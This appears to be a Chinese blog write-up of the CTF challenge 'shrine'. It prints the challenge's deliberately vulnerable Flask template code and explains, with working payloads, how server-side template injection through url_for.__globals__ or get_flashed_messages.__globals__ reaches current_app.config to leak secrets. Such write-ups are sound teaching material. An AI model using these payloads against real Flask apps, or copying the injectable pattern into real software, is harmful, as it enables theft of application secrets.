当前位置: 首页 > 工具软件 > Shrine > 使用案例 >

[Western CTF 2018]shrine

申自明
2023-12-01

0x00 前言

ssti复习
贴一下源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s  #'{% set config=None%}{% set self=None%}'+s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

目的很明确,读取config中FLAG的值
config 实质上是一个字典的子类,可以像字典一样操作

如果不存在waf
直观地看一下config打印出什么

GET /shrine/{{config}} 

<Config {‘JSON_AS_ASCII’: True, ‘USE_X_SENDFILE’: False, ‘SESSION_COOKIE_SECURE’: False, ‘SESSION_COOKIE_PATH’: None, ‘SESSION_COOKIE_DOMAIN’: None, ‘SESSION_COOKIE_NAME’: ‘session’, ‘MAX_COOKIE_SIZE’: 4093, ‘SESSION_COOKIE_SAMESITE’: None, ‘PROPAGATE_EXCEPTIONS’: None, ‘ENV’: ‘production’, ‘DEBUG’: True, ‘SECRET_KEY’: None, ‘EXPLAIN_TEMPLATE_LOADING’: False, ‘MAX_CONTENT_LENGTH’: None, ‘APPLICATION_ROOT’: ‘/’, ‘SERVER_NAME’: None, ‘FLAG’: ‘TWCTF{secret}’, ‘PREFERRED_URL_SCHEME’: ‘http’, ‘JSONIFY_PRETTYPRINT_REGULAR’: False, ‘TESTING’: False, ‘PERMANENT_SESSION_LIFETIME’: datetime.timedelta(31), ‘TEMPLATES_AUTO_RELOAD’: None, ‘TRAP_BAD_REQUEST_ERRORS’: None, ‘JSON_SORT_KEYS’: True, ‘JSONIFY_MIMETYPE’: ‘application/json’, ‘SESSION_COOKIE_HTTPONLY’: True, ‘SEND_FILE_MAX_AGE_DEFAULT’: datetime.timedelta(0, 43200), ‘PRESERVE_CONTEXT_ON_EXCEPTION’: None, ‘SESSION_REFRESH_EACH_REQUEST’: True, ‘TRAP_HTTP_EXCEPTIONS’: False}>

同理 使用self
可以看到其中包含了config

{{self.__dict__}}

{’_TemplateReference__context’: <Context {‘url_for’: <function url_for at 0x7f67e7d0cb90>, ‘g’: <flask.g of ‘main’>, ‘request’: <Request ‘http://my_server/shrine/{{self.dict}}’ [GET]>, ‘namespace’: <class ‘jinja2.utils.Namespace’>, ‘lipsum’: <function generate_lorem_ipsum at 0x7f67e8dc2c08>, ‘aaaa’: None, ‘range’: <type ‘xrange’>, ‘session’: <NullSession {}>, ‘dict’: <type ‘dict’>, ‘get_flashed_messages’: <function get_flashed_messages at 0x7f67e7d0ccf8>, ‘cycler’: <class ‘jinja2.utils.Cycler’>, ‘joiner’: <class ‘jinja2.utils.Joiner’>, ‘config’: <Config {‘JSON_AS_ASCII’: True, ‘USE_X_SENDFILE’: False, ‘SESSION_COOKIE_SECURE’: False, ‘SESSION_COOKIE_PATH’: None, ‘SESSION_COOKIE_DOMAIN’: None, ‘SESSION_COOKIE_NAME’: ‘session’, ‘MAX_COOKIE_SIZE’: 4093, ‘SESSION_COOKIE_SAMESITE’: None, ‘PROPAGATE_EXCEPTIONS’: None, ‘ENV’: ‘production’, ‘DEBUG’: True, ‘SECRET_KEY’: None, ‘EXPLAIN_TEMPLATE_LOADING’: False, ‘MAX_CONTENT_LENGTH’: None, ‘APPLICATION_ROOT’: ‘/’, ‘SERVER_NAME’: None, ‘FLAG’: ‘TWCTF{secret}’, ‘PREFERRED_URL_SCHEME’: ‘http’, ‘JSONIFY_PRETTYPRINT_REGULAR’: False, ‘TESTING’: False, ‘PERMANENT_SESSION_LIFETIME’: datetime.timedelta(31), ‘TEMPLATES_AUTO_RELOAD’: None, ‘TRAP_BAD_REQUEST_ERRORS’: None, ‘JSON_SORT_KEYS’: True, ‘JSONIFY_MIMETYPE’: ‘application/json’, ‘SESSION_COOKIE_HTTPONLY’: True, ‘SEND_FILE_MAX_AGE_DEFAULT’: datetime.timedelta(0, 43200), ‘PRESERVE_CONTEXT_ON_EXCEPTION’: None, ‘SESSION_REFRESH_EACH_REQUEST’: True, ‘TRAP_HTTP_EXCEPTIONS’: False}>} of None>}

由于 ( 与 )都被过滤,所以我所知晓的命令执行payload皆不能用

0x01 brain.md

app.config['FLAG'] = os.environ.pop('FLAG')

os.environ可以获取系统中的有关信息
此处是把环境变量flag填入了config中
直观打印一下看看


>>> import os
>>> os.environ
{'LESS_TERMCAP_md': '\x1b[1;36m', 'XDG_GREETER_DATA_DIR': '/var/lib/lightdm/data/kidult', '_JAVA_OPTIONS': '-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true', 'XDG_RUNTIME_DIR': '/run/user/1000', 'XDG_CURRENT_DESKTOP': 'XFCE', 'XDG_SEAT_PATH': '/org/freedesktop/DisplayManager/Seat0', 'LOGNAME': 'kidult', 'USER': 'kidult', 'HOME': '/home/kidult', 'XDG_VTNR': '7', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games', 'DISPLAY': ':0.0', 'SSH_AGENT_PID': '822', 'LANG': 'zh_CN.UTF-8', 'TERM': 'xterm-256color', 'SHELL': '/usr/bin/zsh', 'COLORFGBG': '15;0', 'XAUTHORITY': '/home/kidult/.Xauthority', 'LANGUAGE': 'zh_CN:zh', 'SESSION_MANAGER': 'local/kali:@/tmp/.ICE-unix/773,unix/kali:/tmp/.ICE-unix/773', 'POWERSHELL_TELEMETRY_OPTOUT': '1', 'LESS_TERMCAP_me': '\x1b[0m', 'QT_QPA_PLATFORMTHEME': 'qt5ct', 'LESS_TERMCAP_mb': '\x1b[1;31m', 'QT_ACCESSIBILITY': '1', 'WINDOWID': '0', 'QT_AUTO_SCREEN_SCALE_FACTOR': '0', 'XDG_SESSION_DESKTOP': 'lightdm-xsession', 'SHLVL': '1', 'COMMAND_NOT_FOUND_INSTALL_PROMPT': '1', 'SSH_AUTH_SOCK': '/tmp/ssh-6DRcnK8HUmsi/agent.773', 'LESS_TERMCAP_ue': '\x1b[0m', 'GDMSESSION': 'lightdm-xsession', 'PANEL_GDK_CORE_DEVICE_EVENTS': '0', 'XDG_SESSION_PATH': '/org/freedesktop/DisplayManager/Session0', 'XDG_SESSION_ID': '2', 'DBUS_SESSION_BUS_ADDRESS': 'unix:path=/run/user/1000/bus', '_': '/usr/bin/python', 'DESKTOP_SESSION': 'lightdm-xsession', 'XDG_CONFIG_DIRS': '/etc/xdg', 'GTK_MODULES': 'gail:atk-bridge', 'XDG_SESSION_TYPE': 'x11', 'OLDPWD': '/home/kidult', 'GDM_LANG': 'zh_CN.utf8', 'LESS_TERMCAP_se': '\x1b[0m', 'XDG_DATA_DIRS': '/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share', 'PWD': '/home/kidult', 'LESS_TERMCAP_us': '\x1b[1;32m', 'XDG_SESSION_CLASS': 'user', 'COLORTERM': 'truecolor', 'XDG_MENU_PREFIX': 'xfce-', 'LESS_TERMCAP_so': '\x1b[01;33m', 'LS_COLORS': 'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', 'XDG_SEAT': 'seat0'}
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s  

等价 ‘{% set config=None%}{% set self=None%}’+s
即当前局部 config变量与self变量均赋值为None

那么既然命令执行也走不通,便想着通过上层全局变量访问到config

知识扩充

current_app
类型是LocalProxy
像全局变量一样工作,但只能在处理请求期间且在处理它的线程中访问
返回的栈顶元素不是应用上下文,而是flask的应用实例对象(当前项目的app

那么先访问到current_app再访问其config即可
在大牛文章中可知,flask内部维护着两个线程隔离的栈
current_app只有在处理请求时才有指向
刚好适用我们ssti的情况

参考

https://blog.csdn.net/JENREY/article/details/86606653
https://blog.csdn.net/m0_37323771/article/details/80645100

url_for

如果 Flask 能匹配 URL,那么 Flask 可以生成它们吗?当然可以。你可以用 url_for() 来给指定的函数构造 URL。它接受函数名作为第一个参数,也接受对应 URL 规则的变量部分的命名参数。未知变量部分会添加到 URL 末尾作为查询参数。这里有一些例子:

>>> from flask import Flask, url_for
>>> app = Flask(__name__)
>>> @app.route('/')
... def index(): pass
...
>>> @app.route('/login')
... def login(): pass
...
>>> @app.route('/user/<username>')
... def profile(username): pass
...
>>> with app.test_request_context():
...  print url_for('index')
...  print url_for('login')
...  print url_for('login', next='/')
...  print url_for('profile', username='John Doe')
...
/
/login
/login?next=/
/user/John%20Doe

通过

>>> from flask import url_for
>>> url_for.__globals__

我们可以找到

'current_app': <LocalProxy unbound>
get_flashed_messages()

get_flashed_messages(w3c)
与url_for同理
通过get_flashed_messages.__globals__也能找到current_app

exp

/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

0x02 rethink

非科班的苦恼…

相关阅读

相关文章

相关问答